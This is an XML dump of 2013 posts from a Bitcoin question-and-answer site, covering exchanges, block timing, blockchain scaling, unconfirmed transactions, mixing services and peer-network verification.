  <row Id="9027" PostTypeId="2" ParentId="9025" CreationDate="2013-04-03T07:35:15.877" Score="2" Body="&lt;p&gt;Yes, for most people it is an easier option to obtain bitcoins through an exchange (or a private trade perhaps) than through mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current market price of Bitcoin is essentially based on a balance between 2 outcomes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the anticipated probability of Bitcoin becoming completely worthless in future (eg if the encryption failed, or maybe if multiple countries outlawed it)&lt;/li&gt;&#xA;&lt;li&gt;the anticipated probability of Bitcoin becoming far more popular (and more highly valued) than it is now&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first outcome would probably lead to a price of around zero, and the second outcome could lead to a very high price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what you believe, Bitcoin is dependent on many factors beyond the control of an individual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hold on to bitcoins, you're essentially hoping for outcome number two.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-03T07:35:15.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9028" PostTypeId="1" CreationDate="2013-04-03T07:35:57.340" Score="0" ViewCount="55" Body="&lt;p&gt;I would like to experiment with having fewer characters (trimming a few characters at the end, and fewer checksum) for an address while still retaining enough for adequate security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into base56.h but it doesn't seem to actually check addresses?&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2013-04-03T08:05:29.903" Title="Source code: Where is address encoding performed?" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9029" PostTypeId="1" CreationDate="2013-04-03T07:52:54.297" Score="3" ViewCount="459" Body="&lt;p&gt;How fast could you possibly run a blockchain like bitcoins'? Could blocks be added as fast as a microsecond while still having a functional currency?&lt;/p&gt;&#xA;" OwnerUserId="3854" LastEditorUserId="5406" LastEditDate="2017-01-12T10:08:56.287" LastActivityDate="2017-01-12T10:08:56.287" Title="Would it be possible to make a functional Bitcoin fork that confirmed a block of transactions every millisecond?" Tags="|mining-theory|scalability|block-interval|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9030" PostTypeId="2" ParentId="9028" CreationDate="2013-04-03T08:05:29.903" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.firstbits.com/&quot; rel=&quot;nofollow&quot;&gt;firstbits.com&lt;/a&gt; provides a service that links short values to longer addresses, which might be close to what you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could easily shorten addresses by extending the character set that addresses use, but any non-standard way of sharing an address has to be usable by whatever person or software receives it. I'll leave it to someone else to point you to the line of code though.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-03T08:05:29.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9031" PostTypeId="2" ParentId="8981" CreationDate="2013-04-03T08:23:35.540" Score="1" Body="&lt;p&gt;Like @David Ogren suggested, you are just supposed to sell part of those coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dunno why are you trying to make it so much more complicated.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-03T08:23:35.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9032" PostTypeId="1" CreationDate="2013-04-03T08:35:33.267" Score="4" ViewCount="899" Body="&lt;p&gt;To make those who not familiar with C++ to understand the algorithms.&lt;/p&gt;&#xA;" OwnerUserId="3855" LastEditorUserId="1878" LastEditDate="2013-05-03T21:46:22.530" LastActivityDate="2013-06-23T07:37:23.127" Title="Is there bitcoin algorithms flowcharts or any other diagrams available?" Tags="|c++|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9033" PostTypeId="1" CreationDate="2013-04-03T09:12:08.017" Score="4" ViewCount="4284" Body="&lt;p&gt;Other than by having a non existent digital code become currency and riding on seeing the previously no-value cash become more valuable, how does the Inventors of Bitcoin profit from developing Bitcoin in the first place?&lt;/p&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2014-02-12T13:18:38.733" Title="How does Bitcoin &quot;inventor&quot; makes money?" Tags="|economic-theory|bitcoin-economy|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9034" PostTypeId="1" CreationDate="2013-04-03T09:14:55.993" Score="2" ViewCount="921" Body="&lt;p&gt;With Bitcoins being that much worth currently, I came to the conclusion of using a unique old computer just for this &quot;use case&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to run Ubuntu with bitcoin-qt (from PPA), but now the paranoia kicks in: what if the client is corrupted? I know that I can check against the MD5/SHsomething, but who guarantees that the client itself is not corrupted due to an error/mistake or even intentionally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is said that with PPA, nobody guaratees that the software itself is not corrupted, so I am unsure about transfering quite a lot of money to some software I don't know anything about.&lt;/p&gt;&#xA;" OwnerUserId="3857" LastActivityDate="2016-01-10T12:27:46.990" Title="Is bitcoin-qt as PPA really secure? How to proof?" Tags="|bitcoin-core|ubuntu|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9036" PostTypeId="1" CreationDate="2013-04-03T09:43:11.750" Score="3" ViewCount="276" Body="&lt;p&gt;I would imagine Bitcoin is the perfect tool for students to learn about economic and learn about investing. Any out there available yet?&lt;/p&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2013-05-26T05:04:28.623" Title="Any Stock Trading using Bitcoin?" Tags="|economic-theory|bitcoin-economy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9037" PostTypeId="2" ParentId="9036" CreationDate="2013-04-03T09:51:12.017" Score="1" Body="&lt;p&gt;Unfortunately &lt;a href=&quot;https://en.bitcoin.it/wiki/GLBSE&quot; rel=&quot;nofollow&quot;&gt;GLBSE&lt;/a&gt; was mismanaged and closed down. AFAIK there is nothing like that now. Unless I've misunderstood the question.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-03T09:51:12.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9038" PostTypeId="2" ParentId="9033" CreationDate="2013-04-03T09:53:31.367" Score="2" Body="&lt;p&gt;If they were wise, they would have mined a lot of them in the early times, and could easily sell now some for hard currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there is the Bitcoin Foundation who pays Gavin, who is the head developer.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-03T09:53:31.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9039" PostTypeId="1" CreationDate="2013-04-03T10:19:48.800" Score="-1" ViewCount="397" Body="&lt;p&gt;Where can I buy Bitcoin in the UK? Preferably at Gox prices? I have tried at bitcoin.info and on Gox. I'd prefer not to go through a local sale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3628" LastActivityDate="2013-04-13T02:04:02.443" Title="Buy Bitcoin in the UK" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-21T09:40:30.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="9042" PostTypeId="1" CreationDate="2013-04-03T13:30:30.057" Score="1" ViewCount="1033" Body="&lt;p&gt;I understand the concept of a mixer and have succesfully used Blockchain.info wallet's shared send feature. The shared receiving address however confuses me. I assumed that one needs to click &quot;new shared address&quot; and then send the coins to the new address that is created. However after testing with tiny amounts I got really weird results, such as coins disappearing, mixing not working etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking for a detailed step-by-step guide on how to use the feature as well as an explanation of the mechanism behind it. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3867" LastActivityDate="2016-03-03T23:28:31.987" Title="How does the blockchain.info shared receive work?" Tags="|blockchain.info|money-laundering|mixing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9043" PostTypeId="2" ParentId="9039" CreationDate="2013-04-03T13:34:34.853" Score="0" Body="&lt;p&gt;The other GBP market which is available is based on www.bitcoin-central.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are based in France, the liquidity is not of that of MtGox but for casual buy orders this should not be much of a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most other options involve individual trades and no exchange as such exists within this country anymore.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-04-03T13:34:34.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9044" PostTypeId="1" CreationDate="2013-04-03T13:34:56.113" Score="2" ViewCount="201" Body="&lt;p&gt;I'm in the UK and am desperately trying to get onto this Bitcoin bandwagon before the whole thing collapses, but it seems like there are no decent ways to buy from the UK. There is an international wire transfer, but Barclays charge £15-25 for wire transfers so it's incredibly inefficient. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3868" LastActivityDate="2014-05-09T04:02:37.567" Title="Best (current) method to buy BTC in the UK?" Tags="|transactions|exchanges|" AnswerCount="0" CommentCount="3" ClosedDate="2014-05-09T06:07:21.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="9045" PostTypeId="1" AcceptedAnswerId="9048" CreationDate="2013-04-03T14:09:37.140" Score="5" ViewCount="1706" Body="&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/sites/timothylee/2013/04/03/four-reason-you-shouldnt-buy-bitcoins/&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Four Reasons You Shouldn't Buy Bitcoins&lt;/em&gt;, Forbes.com:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Scaling.&lt;/strong&gt; The Bitcoin protocol requires that every node in the network&#xA;  download a copy of every Bitcoin transaction that has ever occurred.&#xA;  As Bitcoin has grown more popular, running the “full” Bitcoin client&#xA;  has become more and more resource-intensive. The last time I started&#xA;  up my Bitcoin client, it took several hours to download all the&#xA;  transactions that had occurred in the few weeks since the last time I&#xA;  ran it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To prevent things from becoming completely unwieldy, the Bitcoin&#xA;  protocol limits the size of each “block,” the basic unit of Bitcoin’s&#xA;  shared transaction register, to one megabyte. Since one block is&#xA;  created every 10 minutes, on average, this places a hard limit on the&#xA;  number of transactions the network can process each hour. Right now,&#xA;  the network is operating well below the limit. But it’s not that far&#xA;  below the limit. If the Bitcoin economy continues to grow rapidly,&#xA;  we’re likely to hit it in the next few years.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Reaching the limit wouldn’t be catastrophic; the Bitcoin protocol has&#xA;  an elegant system of transaction fees to process the most urgent&#xA;  transactions first. But it does place some limits on Bitcoin’s&#xA;  long-term future. For example, it’s hard to imagine Bitcoin ever&#xA;  becoming a replacement for conventional credit cards. There are far&#xA;  too many credit card transactions for the Bitcoin network to&#xA;  accomodate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Currently, every Bitcoin client knows the entire network history. This sums up to a few GB, which a modern computer can easily hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of transactions, however, is growing quickly. I roughly estimate than in a matter of a year or two, the total size on disk will exceed the abilities of a normal desktop computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How will the network function when the transaction history log grows beyond the powers of a normal desktop?&lt;/p&gt;&#xA;" OwnerUserId="415" LastEditorUserId="415" LastEditDate="2013-04-03T15:04:17.907" LastActivityDate="2013-04-03T15:21:26.270" Title="Can the transaction log history size scale?" Tags="|transactions|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9046" PostTypeId="1" CreationDate="2013-04-03T14:11:53.577" Score="165" ViewCount="394919" Body="&lt;p&gt;I sent a transaction&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;without (or with an exceptionally small) transaction fee&lt;/li&gt;&#xA;&lt;li&gt;using extremely small or unconfirmed inputs&lt;/li&gt;&#xA;&lt;li&gt;while the stars were not standing right.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For whatever reason, I have been waiting forever for my transaction to confirm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it taking so long for my transaction to confirm? What can I do to speed-up the transaction’s confirmation?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is a canonical question serving as a lightning rod for the flood of &quot;unconfirmed transaction&quot; questions we are experiencing lately. Please provide a detailed and broad answer to serve a wide range of these questions.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3869" LastEditorUserId="5406" LastEditDate="2021-03-26T20:23:40.147" LastActivityDate="2023-04-27T13:49:17.170" Title="Why is my transaction not getting confirmed and what can I do about it?" Tags="|transaction-fees|unconfirmed-transactions|confirmations|zero-confirmation|canonical-question|" AnswerCount="11" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9047" PostTypeId="2" ParentId="9029" CreationDate="2013-04-03T14:13:03.107" Score="-1" Body="&lt;p&gt;Litecoin is an alternative to Bitcoin that has as a feature a greatly reduced average time of 2.5 minutes between blocks instead of 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, it is possible to create a fork of the Bitcoin protocol that accelerates block frequency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is not possible to accelerate this block frequency within the canonical Bitcoin protocol without accelerating the hash rate. The difficulty factor acts to counter this acceleration, though, so the acceleration would only be worthwhile for up to two weeks, the average time between automatic difficulty adjustments.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="2306" LastEditDate="2013-04-03T17:28:09.607" LastActivityDate="2013-04-03T17:28:09.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9048" PostTypeId="2" ParentId="9045" CreationDate="2013-04-03T14:27:40.303" Score="7" Body="&lt;p&gt;No, this isn't a likely problem for Bitcoin. Or, to be more specific, it is a problem that there known ways to solve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, there is a concept called a selfish client. Which means a client that can create and receive transactions, but doesn't maintain the blockchain. It's considered &quot;selfish&quot; because it isn't performing the work expected of a true node on the system: it only maintains the information needed for it's own transactions. These types of clients are already common in the mobile world today, where 8GB is already too much to handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if we got to a scenario where the blockchain was too unwieldy for the typical client, we would also probably be in a scenario where the network already had a sufficient number of server nodes to handle the &quot;network&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, Bitcoin already has the concept of discarding transactions once they are spent. (It is made possible by the way that transactions are stored in the block: via the Merkle tree.) It is essentially not implemented yet, but the concept is there for when it is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not inconceivable that we might end up with three tiers of clients: selfish clients on our mobile devices, master nodes that have all of the transactions and can trace any transaction ever made, and hybrid nodes that do support the entire Bitcoin protocol but only keep a trimmed version of the blockchain that prunes transactions that have already been spent. See this question for some details about pruning : &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2983/is-pruning-transaction-history-implemented-in-satoshis-bitcoin-client&quot;&gt;Is pruning transaction history implemented in Satoshi&amp;#39;s bitcoin client?&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-04-03T15:21:26.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9049" PostTypeId="1" AcceptedAnswerId="9071" CreationDate="2013-04-03T14:38:00.367" Score="1" ViewCount="286" Body="&lt;p&gt;I am new to bitcoin, I was wondering how bitcoin implements this particular functionality efficiently. Does it check through all blockchain records for the address of the sender. Or does each transaction store a list of previous transactions by the sender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am curious as to how this can be implemented efficiently?&lt;/p&gt;&#xA;" OwnerUserId="3871" LastActivityDate="2013-04-03T19:41:44.280" Title="How does bitcoin prevent someone from sending more money than he/she has?" Tags="|transactions|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9050" PostTypeId="1" AcceptedAnswerId="11719" CreationDate="2013-04-03T14:46:59.227" Score="1" ViewCount="214" Body="&lt;p&gt;As I am trying my first steps with Bitcoin, I ask you to ignore my potential ignorance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Electrum I have to choose a server of which there seem to be &lt;code&gt;F&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt; type servers. What is their difference?&lt;/p&gt;&#xA;" OwnerUserId="3866" LastActivityDate="2013-06-19T01:44:37.220" Title="What is the difference between a electrum server type F and P" Tags="|server|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9051" PostTypeId="1" AcceptedAnswerId="9058" CreationDate="2013-04-03T15:14:03.433" Score="0" ViewCount="332" Body="&lt;p&gt;Suppose I need a rough estimate of the current value of BTC in USD, is there anything in the blockchain that could be used for that? For example, is there some kind of correlation between block difficulty vs price, number of transaction vs price, etc?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-24T23:43:14.847" Title="Is there a way to estimate the price based on the blockchain?" Tags="|exchanges|exchange-rate|charts|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9052" PostTypeId="2" ParentId="9051" CreationDate="2013-04-03T15:38:55.407" Score="0" Body="&lt;p&gt;Not really, you could kind of guess that as difficulty rises the previous price should technically go up to make sure the miners receive an equal reward, but this is not a rule its just speculation. so yea there is no hard data in the block chain that would actually determine price. You have to assume any expected changes to the chain are also usually pre-priced into the market price&lt;/p&gt;&#xA;" OwnerUserId="2312" LastActivityDate="2013-04-03T15:38:55.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9053" PostTypeId="2" ParentId="9049" CreationDate="2013-04-03T15:49:54.287" Score="2" Body="&lt;p&gt;This is called the &quot;double-spending&quot; problem. There's an excelent article on the Bitcoin Wiki that covers the entire mechanism. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Double-spending&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3875" LastActivityDate="2013-04-03T15:49:54.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9054" PostTypeId="2" ParentId="9036" CreationDate="2013-04-03T15:59:46.677" Score="3" Body="&lt;p&gt;There are a few currently operating Bitcoin security exchanges with non-negligible volumes:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cryptostocks&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://cryptostocks.com/&quot; rel=&quot;nofollow&quot;&gt;https://cryptostocks.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opened at the end of June 2012. Run by the owners of Vircurex, a fairly popular alt-currency exchange.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitfunder&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://bitfunder.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitfunder.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Launched mid-December 2012. Run by the owners of Hashpower, a mining intermediary of sorts.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BTC Trading Corporation (BTC-TC)&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://btct.co/&quot; rel=&quot;nofollow&quot;&gt;https://btct.co/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently in beta. Launched in November 2012 by the owners of Litecoin Global (a Litecoin-based security exchange; not affiliated with or related to Bitcoin Global, the GLBSE parent company). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MPEx&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://mpex.co/&quot; rel=&quot;nofollow&quot;&gt;http://mpex.co/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opened in August 2011. By far the largest of these in terms of (claimed) combined asset market cap and trading volume, but not at all newbie-friendly. Run by Mircea Popescu.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin stock exchange scene collapsed into utter chaos after GLBSE shutdown unceremoniously. You'll find many assets listed on multiple exchanges, some assets still being transferred from GLBSE, and some former GLBSE assets currently not actively traded on any exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try, learn, and have fun, but &lt;em&gt;caveat emptor&lt;/em&gt; (buyer beware). Read the contracts carefully; make sure you know exactly what you're buying. Research the asset issuer in detail, particularly their past history, before you purchase. Don't equate legal identification with trustworthiness. If you're unsure about anything, ask someone more experienced for their advice - most are glad to help. Last but not least, never under any circumstances invest more than you can afford to lose.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2013-04-03T15:59:46.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9056" PostTypeId="2" ParentId="9042" CreationDate="2013-04-03T16:12:48.753" Score="1" Body="&lt;p&gt;The Shared Recieve is also a mixer. When you get a new shared address, it will also show the &quot;Forward To&quot; address which will be one of your main addresses. If anyone sends bitcoins to that shared address, Blockchain.info will send them through its mixer then send it to the &quot;Forward To&quot; address. However, there are transactions costs and blockchain.info's 1.5% fee. It's meant for bigger amounts.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-03T16:12:48.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9057" PostTypeId="2" ParentId="9033" CreationDate="2013-04-03T16:13:53.680" Score="7" Body="&lt;p&gt;Idealists might argue that Bitcoin was developed to forever change the financial landscape, and would be affronted at the suggestion that Satoshi was out for profit. Skeptics might call the whole thing the most elaborate Ponzi scheme ever envisioned. Realists might suggest that Satoshi, emotionally traumatized by the recent unceremonious departure of his former love interest, was ruminating after a few too many beers late one Saturday night and decided to write some code on a whim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he retained the bitcoins he mined early on, he could certainly make quite a bit by cashing them out for fiat. No one would disagree that Bitcoin has made at least a small dent in the current dominant financial system, though whether it will really change the landscape has yet to be seen. And a girlfriend is a small price to pay for what he created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The truth is, we don't know who Satoshi is, why he created Bitcoin, why he left, or what he sought to gain from it. For all we know, he could be among us today in a different guise. But whatever goals he had, I would suspect we're well on the way to accomplishing them if we haven't done so already.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="1171" LastEditDate="2013-04-03T18:03:22.100" LastActivityDate="2013-04-03T18:03:22.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9058" PostTypeId="2" ParentId="9051" CreationDate="2013-04-03T16:23:28.647" Score="0" Body="&lt;p&gt;Not currently. There is a rough correlation between difficulty and price, but it tends to be the latter affecting the former (so a delay is involved), and you certainly couldn't use it to predict with any usable degree of accuracy. Theoretically, when (if) Bitcoin stabilizes significantly, you could use the current difficulty to predict the price with reasonable accuracy, as mining profit margins would approach zero, but the markets are too volatile and entry barriers to mining too high at the moment for that measure to work accurately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to implement the current exchange rate in a program, see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1733/what-is-the-easiest-way-to-programmatically-obtain-the-current-usd-btc-spot-pric?rq=1&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-04-03T16:23:28.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9059" PostTypeId="2" ParentId="9032" CreationDate="2013-04-03T16:47:44.790" Score="2" Body="&lt;p&gt;Forum user and Armory client developer &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=31239&quot; rel=&quot;nofollow&quot;&gt;etotheipi&lt;/a&gt; put together a few nice images covering some aspects of the Bitcoin protocol, mostly related to transaction construction and verification; see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=29416&quot; rel=&quot;nofollow&quot;&gt;this forum thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, though, most of the documentation is in code only. If you're comfortable with another language, you could try looking at &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJ&lt;/a&gt;, a Java implementation of Bitcoin (client node functionality only), &lt;a href=&quot;https://code.google.com/p/bitcoinsharp/&quot; rel=&quot;nofollow&quot;&gt;BitcoinSharp&lt;/a&gt;, a C# port of BitcoinJ, &lt;a href=&quot;http://cbitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;CBitcoin&lt;/a&gt;, a C99 Bitcoin library (also partial), &lt;a href=&quot;https://github.com/lian/bitcoin-ruby&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Ruby&lt;/a&gt;, &lt;a href=&quot;http://bitcoinjs.org/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJS&lt;/a&gt;, and/or &lt;a href=&quot;https://github.com/joric/pywallet&quot; rel=&quot;nofollow&quot;&gt;PyWallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, though, currently the only complete reference implementation of Bitcoin is the original C++ code, so biting the bullet might be the only option.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2013-04-03T16:47:44.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9060" PostTypeId="1" CreationDate="2013-04-03T17:30:24.900" Score="2" ViewCount="263" Body="&lt;p&gt;Global botnets of &quot;pwned&quot; machines exist. Hypothetically, such a botnet could be configured to look a lot like the Bitcoin peer-to-peer network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could even have a long (fake) block chain, full of fake timestamps showing years' worth of history where the difficulty just never got very high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is simple: How does the Bitcoin client know it is connected to the &quot;real&quot; Bitcoin P2P network and not to an impostor? That is, what mechanisms does it use to make this identification with confidence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more such mechanisms you identify, the better your answer is, in my view. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2013-04-03T18:10:49.597" Title="How does a client know it is connected to the right P2P network?" Tags="|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9062" PostTypeId="2" ParentId="9029" CreationDate="2013-04-03T17:49:47.203" Score="3" Body="&lt;p&gt;You couldn't make functional Bitcoin-like fork with that fast of block mining. There is a tradeoff between speed of block creation and consistency of the network. In Bitcoin the blocks are created infrequently enough that the entire network can agree on the canonical blocks quickly and transactions can propogate quickly enough of that they tend to get included in blocks fairly quickly (assuming that miners aren't ignoring them due to low/no fees).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a fork aimed for a block generated a millisecond that would imply that network latency would result in thousands of blocks happening before you could even see the first one. In Bitcoin there are occasional forks of the blockchain due to propagation delays, but they are very quickly resolved by the network. A fork with millisecond blocks (and a large user base) would certainly have thousands of competing forks at any given time, and it would take tens of thousands, maybe even millions of confirmations before it became clear that a fork was dominant. (By which time, there would be thousands of forks of that fork.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, even without any transactions, each block has a minimum size of overhead, so the size of the blockchain would be growing at an outrageous rate. The same would apply to network bandwidth: the amount of chatter between the nodes would be outrageous: none of the nodes could keep up with the volume. Especially given that the volume would have so much duplication between all of the competing forks of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Colin Dean points out, Litecoin has established a 2.5 minute target. So changing the target block generation speed is possible. But every time you go lower, the overhead and consistency gets harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the theoretical maximum? It's hard to say since so much depends on how globally distributed and large the network is. My wild guess, given current technology: anything much less than a minute would have a lot of forks and a lot of overhead. Anything less than a few seconds would almost certainly fail to achieve any kind of stable consensus about the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2013-04-04T00:07:16.713" LastActivityDate="2013-04-04T00:07:16.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9063" PostTypeId="2" ParentId="9060" CreationDate="2013-04-03T17:51:05.493" Score="2" Body="&lt;p&gt;There's a list of hardcoded blocks in the bitcoin client: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/checkpoints.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/checkpoints.cpp&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you present an entirely valid attack. If I can control one DNS seed and DDOS the others, I could cause new clients to only connect to my network.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-03T17:51:05.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
